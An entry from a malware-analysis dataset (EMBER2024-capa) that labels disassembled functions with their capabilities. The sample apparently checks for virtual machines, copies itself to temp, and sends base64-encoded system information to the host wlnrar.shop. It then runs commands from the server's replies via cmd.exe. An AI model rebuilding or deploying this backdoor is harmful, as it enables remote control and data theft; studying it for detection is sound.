joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140036ad3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov dword [rbp + 0x38], eax
mov eax, dword [rbp + 0x38]
test eax, eax
jne 0x140036b15
jmp 0x140036a84
xor eax, eax
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret
mov eax, 1
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret
xor eax, eax
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
test rax, rax
jne 0x140036bef
jmp 0x140036b28
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x70], rcx
mov dword [rbp + 0x78], edx
mov eax, dword [rbp + 0x78]
test eax, eax
jne 0x140036bc8
jmp 0x14001766e
mov eax, 1
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret
xor eax, eax
mov rbx, qword [rbp + 0x50]
mov rsi, qword [rbp + 0x58]
lea rsp, [rbp + 0x60]
pop rbp
ret
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdx, qword [rbp + 0x70]
mov ecx, dword [rbp + 0x78]
mov ecx, ecx
mov ebx, dword [rbp + 0x24]
or ebx, 0x40
lea rsi, [rbp + 0x24]
mov qword [rbp + 0x30], rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x30]
mov r8d, ebx
mov r9, rsi
call rax
jmp 0x14000bddc
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rbp + 0x70]
lea rcx, [rbp]
mov qword [rbp + 0x48], rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x48]
mov r8d, 0x30
call rax
jmp 0x140036a94
mov eax, dword [rbp + 0x24]
and eax, 0xffffff80
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
test eax, 0x80
je 0x140036b96
jmp 0x1400179eb
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00406b10]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00406b20]
mov dword [rax], 1
mov rax, qword [0x00406b30]
mov dword [rax], 1
mov rax, qword [0x00406b00]
mov dword [rax], 1
mov rax, qword [0x004069f0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00406af0]
mov dword [0x0040900c], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x00406ab0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x004069a0]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x40159a
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x401631
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x40161a
mov dword [rbp + 0xdc], 1
jmp 0x401631
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x4015ef
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x401653
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x220
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1b0], rcx
lea rax, [rbp + 0x130]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x130], 0x68
mov dword [rbp + 0x16c], 1
mov word [rbp + 0x170], 0
lea rax, [rbp + 0x110]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov r9, qword [rbp + 0x1b0]
lea r8, str.cmd.exe__c___s_
mov edx, 0x136
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x110]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x130]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x40175e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov r8d, eax
mov rdx, qword [rbp + 0x1b0]
lea rcx, str.Error:_Could_not_execute_command__s._Error_code:__ld_n
call sym.printf
jmp 0x401784
mov rax, qword [rbp + 0x110]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x220
pop rbp
ret
Function at 0x40186e
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x80]
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6f737365636f7250
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
mov qword [rbp + 0xd0], 0x72
mov qword [rbp + 0xd8], 0
lea rdx, [rbp + 0xe0]
mov eax, 0
mov ecx, 0x1c
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x40195c
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.ProcessorNameString
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x6c65646f4d
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x1e
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0xbc], 0x100
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.HARDWAREDESCRIPTIONSystemBIOS
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x401a17
mov rax, qword [rbp + 0xb0]
lea rdx, [rbp + 0xbc]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.SystemProductName
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp + 0xc0]
lea rdx, str.virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401a4f
lea rax, [rbp + 0xc0]
mov rdx, rax
lea rcx, str.Processor_name_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401a92
lea rax, [rbp - 0x50]
lea rdx, str.Virt
mov rcx, rax
call sym.strstr
test rax, rax
je 0x401a81
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.System_model_contains_virt:__s_n
call sym.printf
mov eax, 1
jmp 0x401a92
lea rcx, str.No_virt_found_in_processor_name_or_system_model.
call sym.puts
mov eax, 0
add rsp, 0x248
pop rdi
pop rbp
ret
Function at 0x401aee
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov dword [rbp - 0x60], 0x130
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0xd8], eax
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x401b74
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x3f
mov edx, 1
lea rcx, str.___._n
call sym.fwrite
mov eax, 0
jmp 0x401bf1
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x401bd8
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, qword [rbp + 0xf0]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x401bc1
mov eax, dword [rbp - 0x58]
cmp dword [rbp + 0xd8], eax
je 0x401bc1
mov dword [rbp + 0xdc], 1
jmp 0x401bd8
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x401b8b
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x401bfa
Capabilities:
Copy file
Get common file path
Write file on windows

Disassembly:
push rbp
sub rsp, 0x240
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0xb0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
test eax, eax
jne 0x401c59
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Error:_cant_get_file._n
call sym.fwrite
jmp 0x401d12
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
test eax, eax
jne 0x401c9c
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Error:_cant_get_file_path._n
call sym.fwrite
jmp 0x401d12
lea rax, [rbp - 0x60]
lea rdx, [0x0040626b]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAppendA]
call rax
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0xb0]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x401cfe
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x17
mov edx, 1
lea rcx, str.Error:_cant_copy_file._n
call sym.fwrite
jmp 0x401d12
lea rax, [rbp - 0x60]
mov rdx, rax
lea rcx, str.File_good_copied_in:__s_n
call sym.printf
nop
add rsp, 0x240
pop rbp
ret
Function at 0x401d1b
Capabilities:
Create process on windows

Disassembly:
push rbp
mov eax, 0x20e0
call fcn.00403da0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2070], rcx
lea rax, [rbp + 0x1ff0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x1ff0], 0x68
mov dword [rbp + 0x202c], 1
mov word [rbp + 0x2030], 0
lea rax, [rbp + 0x1fd0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp - 0x30]
mov r9, qword [rbp + 0x2070]
lea r8, str.cmd.exe__c__s
mov edx, 0x2000
mov rcx, rax
call sym.snprintf
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x1fd0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x1ff0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x401e2d
mov ecx, 2
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8, qword [rbp + 0x2070]
lea rdx, str.Error:_Could_not_execute_command__s_n
mov rcx, rax
call sym.fprintf
jmp 0x401e6b
mov rax, qword [rbp + 0x1fd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x1fd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1fd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x20e0
pop rbp
ret
Function at 0x401e75
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x70], rcx
mov qword [rbp + 0x78], rdx
movabs rax, 0x206e776f6e6b6e55
movabs rdx, 0x646c697542
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x40208b
mov rax, qword [rbp + 0x78]
mov dword [rbp + 0x3c], eax
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
mov rdx, qword [rbp + 0x70]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, [0x00406315]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
je 0x401f49
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Unknown_OS
mov rcx, qword [rbp + 0x70]
call sym.strncpy
mov dword [rbp + 0x3c], pe_nt_image_headers64
mov rax, qword [rbp + 0x40]
lea rdx, [rbp + 0x3c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.CurrentBuildNumber
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x401f9c
lea rax, [rbp - 0x50]
mov rdx, rax
lea rcx, str.CurrentBuildNumber:__s_n
call sym.printf
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x4c], eax
lea rdx, str.Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x401ff5
cmp dword [rbp + 0x4c], 0x55ef
jg 0x401ff5
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_10
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x4020a4
cmp dword [rbp + 0x4c], 0x55ef
jle 0x40201a
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_11
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x4020a4
lea rdx, str.Windows_8.1
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
jne 0x402044
lea rdx, str.Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x40205d
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_8
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x4020a4
lea rdx, str.Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strstr
test rax, rax
je 0x4020a4
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Microsoft_Windows_7
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x4020a4
mov rax, qword [rbp + 0x78]
mov r8, rax
lea rdx, str.Access_Denied
mov rcx, qword [rbp + 0x70]
call sym.strncpy
jmp 0x4020a4
nop
add rsp, 0xd8
pop rdi
pop rbp
ret
Function at 0x4023b9
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov edx, eax
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0x40000001
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x4023fc
mov eax, 0
jmp 0x402461
mov eax, dword [rbp - 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40241b
mov eax, 0
jmp 0x402461
mov rax, qword [rbp + 0x18]
mov ecx, eax
mov rdx, qword [rbp - 8]
lea rax, [rbp - 0xc]
mov qword [rsp + 0x20], rax
mov r9, rdx
mov r8d, 0x40000001
mov edx, ecx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
call rax
test eax, eax
jne 0x40245d
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.free
mov eax, 0
jmp 0x402461
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret
Function at 0x4024ac
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x400], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.A_WinHTTP_Example_Program_1.0
call sym.WinHttpOpen
mov qword [rbp + 0x3e8], rax
cmp qword [rbp + 0x3e8], 0
je 0x402729
mov rax, qword [rbp + 0x3e8]
mov r9d, 0
mov r8d, 0x1bb
lea rdx, str.wlnrar.shop
mov rcx, rax
call sym.WinHttpConnect
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
je 0x40271a
lea rax, [rbp - 0x40]
mov r9, qword [rbp + 0x400]
lea r8, str._json.php_token_S
mov edx, 0x200
mov rcx, rax
call sym.swprintf_s
lea rax, [rbp - 0x40]
mov rdx, rax
lea rcx, str.Final_URL:__s_n
call sym.wprintf
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x3e0]
mov dword [rsp + 0x30], 0x800000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, str.POST
mov rcx, rax
call sym.WinHttpOpenRequest
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
je 0x40270b
mov rax, qword [rbp + 0x3d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.WinHttpSendRequest
test eax, eax
je 0x4026fc
mov rax, qword [rbp + 0x3d8]
mov edx, 0
mov rcx, rax
call sym.WinHttpReceiveResponse
test eax, eax
je 0x4026fc
mov dword [rbp + 0x3cc], 0
mov dword [rbp + 0x3c8], 0
mov dword [rbp + 0x3cc], 0
lea rdx, [rbp + 0x3cc]
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.WinHttpQueryDataAvailable
test eax, eax
je 0x4026ee
mov eax, dword [rbp + 0x3cc]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
jne 0x402681
mov dword [rbp + 0x3cc], 0
jmp 0x4026ee
mov eax, dword [rbp + 0x3cc]
add eax, 1
mov edx, eax
mov rax, qword [rbp + 0x3d0]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp + 0x3cc]
lea r8, [rbp + 0x3c8]
mov rdx, qword [rbp + 0x3d0]
mov rax, qword [rbp + 0x3d8]
mov r9, r8
mov r8d, ecx
mov rcx, rax
call sym.WinHttpReadData
test eax, eax
je 0x4026df
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.execute_command_from_response
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x3cc]
test eax, eax
jne 0x402629
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
call sym.WinHttpCloseHandle
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
call sym.WinHttpCloseHandle
nop
add rsp, 0x470
pop rbp
ret
Function at 0x402733
Capabilities:
Create thread

Disassembly:
push rbp
sub rsp, 0x450
lea rbp, [rsp + 0x80]
call dbg.__main
call sym.CheckForVirtualMachine
lea rax, [rbp + 0x3b4]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.MonitorAndLaunchProcess]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
jne 0x4027b3
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Error:_Unable_to_create_thread._Error_code:__ld_n
call sym.printf
mov eax, 1
jmp 0x402884
lea rcx, [0x0040626b]
call sym.IsAnotherInstanceRunning
test eax, eax
je 0x4027e0
lea rdx, [0x0040626b]
lea rcx, str.__s__.__._n
call sym.printf
mov eax, 1
jmp 0x402884
mov dword [rbp + 0x3c4], 0x80000001
mov eax, dword [rbp + 0x3c4]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
call rax
test eax, eax
jne 0x40280d
lea rcx, str.ERROR_ENERGY_STATUS.
call sym.puts
jmp 0x402819
lea rcx, str.GOOD_ENERGY_STATUS.
call sym.puts
call sym.CopySelfToTemp
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.get_system_info
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.base64_encode
mov qword [rbp + 0x3b8], rax
cmp qword [rbp + 0x3b8], 0
je 0x402874
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.send_post_request
mov rax, qword [rbp + 0x3b8]
mov rcx, rax
call sym.free
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x40281e
add rsp, 0x450
pop rbp
ret
Function at 0x402e10
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00409624]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x402fc4
mov rax, qword [0x00409628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x402e5c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x402ee9
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x402e40
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x402ff9
mov rax, qword [0x00409628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00409628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402fdc
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x402ee2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x402f64
add dword [0x00409624], 1
cmp edi, 8
jae 0x402f20
test dil, 4
jne 0x402fb0
test edi, edi
je 0x402f0c
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x402fcb
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x402f0c
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x402f50
jmp 0x402f0c
add rsi, qword [0x00409628]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402ee2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x402f0c
xor esi, esi
jmp 0x402e67
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x402f0c
mov rax, qword [0x00409628]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop dword [rax]